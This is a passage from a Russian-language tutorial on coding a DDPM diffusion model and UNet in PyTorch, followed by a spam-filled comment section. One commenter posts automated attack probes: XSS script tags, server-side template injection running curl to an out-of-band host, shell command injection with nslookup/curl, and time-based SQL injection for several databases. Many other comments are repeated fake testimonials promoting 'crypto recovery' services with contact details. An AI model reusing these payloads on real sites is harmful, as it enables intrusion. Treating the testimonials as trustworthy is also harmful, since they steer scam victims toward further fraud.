x_t=\sqrt{\bar \alpha_t} x_0 + \sqrt{1 - \bar \alpha_t} * \bar{\epsilon}

И напомню, что из alpha можно вывести beta и наоборот.

Сразу же здесь создаем нашу функцию ошибки или потерь, которая по сути является разницей(или L2 расстоянием) между шумом, который мы будем накладывать на картинку во время обучения и шум, который должна предсказать наша нейросеть. Также передаем на вход конструктора модель, которая и должна будет вычислять этот шум. Ее опишем ниже.

Выводили функцию потерь мы здесь.

Обучение

Напишем еще раз нашу формулу ошибки:

\begin{aligned} Loss_{simple}(\theta) = \arg \min_{\theta} \sum_{t=2}^{T}E_{q(x_t|x_0)} ||\epsilon - \epsilon_{\theta}||_2^2 \end{aligned}

Теперь давайте реализуем это в методе forward у ddpm:

t = torch.randint(low=1, high=self.T+1, size=(imgs.shape[0],), device=self.device)
noise = torch.randn_like(imgs, device=self.device)

# get noise image as: sqrt(alpha_t_bar) * x0 + noise * sqrt(1 - alpha_t_bar)
batch_size, channels, width, height = imgs.shape
noise_imgs = self.sqrt_bar_alpha_t_schedule[t].view((batch_size, 1, 1 ,1)) * imgs \
    + self.sqrt_minus_bar_alpha_t_schedule[t].view((batch_size, 1, 1, 1)) * noise

# get predicted noise from our model
pred_noise = self.eps_model(noise_imgs, t.unsqueeze(1))

# calculate of Loss simple ||noise - pred_noise||^2, which is MSELoss
return self.criterion(pred_noise, noise)

Генерация изображений

Вспомним формулу для генерации:

\begin{aligned} x_{t-1} = \frac{1}{\sqrt{\alpha_t}}(x_t - \frac{1 - \alpha_t}{\sqrt{1 - \bar \alpha_t}} \bar {\epsilon}) + \epsilon * \beta_t \end{aligned}

И код для него

# создаем случайный шум
x_t = torch.randn(n_samples, *size, device=self.device)
# вычисляем x_(t-1) на каждой итерации
for t in range(self.T, 0, -1):
    t_tensor = torch.tensor([t], device=self.device).repeat(x_t.shape[0], 1)
    pred_noise = self.eps_model(x_t, t_tensor)

    z = torch.randn_like(x_t, device=self.device) if t > 0 else 0

    x_t = 1 / torch.sqrt(self.alpha_t_schedule[t]) * \
        (x_t - pred_noise * (1 - self.alpha_t_schedule[t]) / self.sqrt_minus_bar_alpha_t_schedule[t]) + \
        torch.sqrt(self.beta_schedule[t]) * z
return x_t

По сути наш скелет готов, переходим на уровень ниже.

UNet модель

Как мы видели выше, у нас была загадочная eps_model, которая вычисляла шум, принимая на вход шум текущей итерации и время t.

По сути это может быть какая угодно модель, но в оригинальном пейпере (и даже в самом Stable Diffusion) используется UNet модель. Многим известная картинка из оригинального пейпера UNet, выглядит она схематично так:

1yltjut3ooquyeb5rkztyxs52hk.png

На практике часто использовалась для детектирования изображения. В нашем же случае она немного поменялась, чтобы научиться работать с t.

Парочка интересных моментов:

def __init__(
    self,
    in_channels,
    out_channels,
    T,
    steps=(1, 2, 4),
    hid_size = 128,
    attn_step_indexes = [1],
    has_residuals=True,
    num_resolution_blocks=2,
    is_debug = False
):

На входе мы указываем steps: это кол-во слоев downscale и upscale(смотрим на картинку выше), где каждый элемент - общее число ResnetBlock на этом уровне. Также указываем слои с Attention(который всем нужен), чтобы ускорить обучение модели.

Для самого t, мы создаем embedding:

self.time_embedding = nn.Sequential(
    PositionalEmbedding(T=T, output_dim=hid_size),
    nn.Linear(hid_size, time_emb_dim),
    nn.ReLU(),
    nn.Linear(time_emb_dim, time_emb_dim)
)

И этот embedding мы будем прокидывать во все ResNet блоки при прохождении данных:

time_emb = self.time_embedding(t)

x = self.first_conv(x)
hx = []
for down_block in self.down_blocks:
    x = down_block(x, time_emb)
    if not isinstance(down_block, DownBlock):
        hx.append(x)
x = self.backbone(x, time_emb)

А вот как выглядит этот код внутри Resnet блока:

h = self.conv_1(x)
if t is None:
    return self.conv_3(x) + self.conv_2(h)
t = self.time_emb(t)
batch_size, emb_dim = t.shape 
t = t.view(batch_size, emb_dim, 1, 1)
if self.is_residual:
    return self.conv_3(x) + self.conv_2(h + t)
else:
    return self.conv_2(h + t)

Как видно эмбеддинг времени просто суммируется с внутренним представлением x, пропущенного через Convolutional слой. Но можно найти примеры, где обработка t происходит по-другому.

Результаты

ЭХЕЙ, можем поздравить друг друга! Есть кто еще живой?

dcd61c716a90cf4d88f8b628e7d6cc9e.gif

Во-первых, спасибо, что прочитали. Я очень рад, что смог сам пройти этот путь осознания с нуля, но главное попытаться донести это в более простой форме для других.

Давайте оглянемся назад и вспомним, что мы узнали:

  • Мы рассмотрели Diffusion модель с точки зрения как и почему это работает

  • Прошлись через самые дебри математики, которая в итоге нас вывела к довольно простой функции потерь

  • Разобрали основные моменты кода и переноса математики в этот код

Если сравнивать результаты модели из пейпера и моей обученной на датасете CIFAR 10, то видно, что до бенчмарков еще далековато, но визуально "на глаз" очень похоже. Я обучал примерно 5-7 часов на RTX 3090 на runpod.io. Для улучшения бенчмарков стоит увеличить обучение модели, еще раз прочекать глубину слоев UNet и возможно пройтись по оптимизациям блоков UNet.

Model

FID (CIFAR 10)

Original Diffusion

3.17

My Diffusion

30

References


Если вам понравилась моя статья и вам интересно читать другие материалы от меня, то приглашаю подписаться на мой ТГ канал Jurassimo Park, там я пишу заметки о разработке стартапов, немного о нейронках и других технологиях.

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon